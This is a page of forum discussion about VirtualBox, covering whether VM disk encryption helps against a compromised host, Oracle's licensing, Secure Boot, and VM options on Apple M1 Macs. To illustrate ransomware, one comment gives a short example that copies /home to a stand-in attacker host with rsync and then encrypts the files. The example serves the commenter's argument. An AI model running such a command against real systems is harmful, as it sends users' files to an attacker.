61–70 of 176 posts
What value does vm encryption have? I’d rather encrypt my host and leave my vms unencrypted, given it would be possible to back door virtual box binaries given an unencrypted file system, or keylog keys assuming a remote breach.
That's... very surprising. Vorbis is usually regarded as obsolete in favor of Opus. Did they hit some obscure compatibility issue or what?
Earlier quoted context omitted.
I don’t understand your comment at all. Ransomware can encrypt and encrypted virtual machine. If the host is compromised at a privilege level able to read or modify the VM, the vm is also implicitly compromised.
> If the host is compromised at a privilege level able to read Multi-user systems exists, compromise may be at user-level. Sure, if you have root/SYSTEM level access then all bets are off, but defense is like an ogre - it has layers.
Can you name any scenarios where virtualbox is used in a multi user environment where bare metal shell/fs access is possible that are actually real world? If so I would be telling those entities their architecture is wrong and they would probably save on TCO by re-engineering things.
Defence in depth is a legitimate argument under some use cases, but your argument seems to be in favour of over engineering redundant or theoretical security controls rather than creating actual defensible environments.
Earlier quoted context omitted.
As much as they can squeeze.
And if they find out you've been using it commercially (even just your home machine you have a non-running copy on connecting to your company's VPN network) without an existing licence, they're squeezing your balls in open court.
Shame, Id pay per licence if I could, but instead I’ll probably just block their traffic and breach their licence. I doubt they can legally enforce those terms in Australia.
Earlier quoted context omitted.
Virtualbox VM encryption can be useful if the host hypervisor is compromised and the unauthorized party uploads data on disk that the host can trivially access (as is frequently the case with ransomware).
I don’t understand your comment at all. Ransomware can encrypt and encrypted virtual machine. If the host is compromised at a privilege level able to read or modify the VM, the vm is also implicitly compromised.
rsync -az /home baddie@remote-files.example.com:/your-files/
encrypt-all-files /home
I suppose it would be possible for the ransomware to be aware of Virtualbox and somehow manipulate Virtualbox's management plane to get access to unencrypted disk data, but unless you're the victim of a targeted ransomware attack, that's pretty unlikely.
Earlier quoted context omitted.
It wasn't originally their product. It came with the Sun Microsystems acquisition. Sun themselves acquired Virtualbox close to selling to Oracle. Sun never monetized their products well, hence their demise.
Sun and SGI were once profitable but once Linux gained traction it was over. They had no option to be assimilated by the Borg.
Earlier quoted context omitted.
I don't know how the perf is, but this might be of interest: https://developer.apple.com/documentation/virtualization/run... (Note: This is for the next major release of Mac OS.)
github.com/cirruslabs/tart is a command-line tool which makes this whole VM thing very easy on MacOS starting with Ventura.
Can I run this without having a tainted kernel on Linux? So that Secure Boot can stay on.
You can use VirtualBox with Secure Boot on a Dell XPS 9300 running Ubuntu. When you boot it up after installing, it prompts you to install the keys.
Earlier quoted context omitted.
If you really need to, UTM (which uses qemu for x86). But if you just want to run x86 Windows software, it's much better to run that under a Windows 11 ARM64 VM.
UTM doesn't have vagrant support yet: https://github.com/hashicorp/vagrant/issues/12518 I basically just want to continue using vagrant, ansible, and ubuntu on my M1 -- what's currently the best stack for that? I tried out Parallels, but there don't seem to be any reputable and up-to-date Ubuntu images for it.
Earlier quoted context omitted.
UTM doesn't have vagrant support yet: https://github.com/hashicorp/vagrant/issues/12518 I basically just want to continue using vagrant, ansible, and ubuntu on my M1 -- what's currently the best stack for that? I tried out Parallels, but there don't seem to be any reputable and up-to-date Ubuntu images for it.
Can’t you just use the official Ubuntu installer with Parallels? (ARM version of course)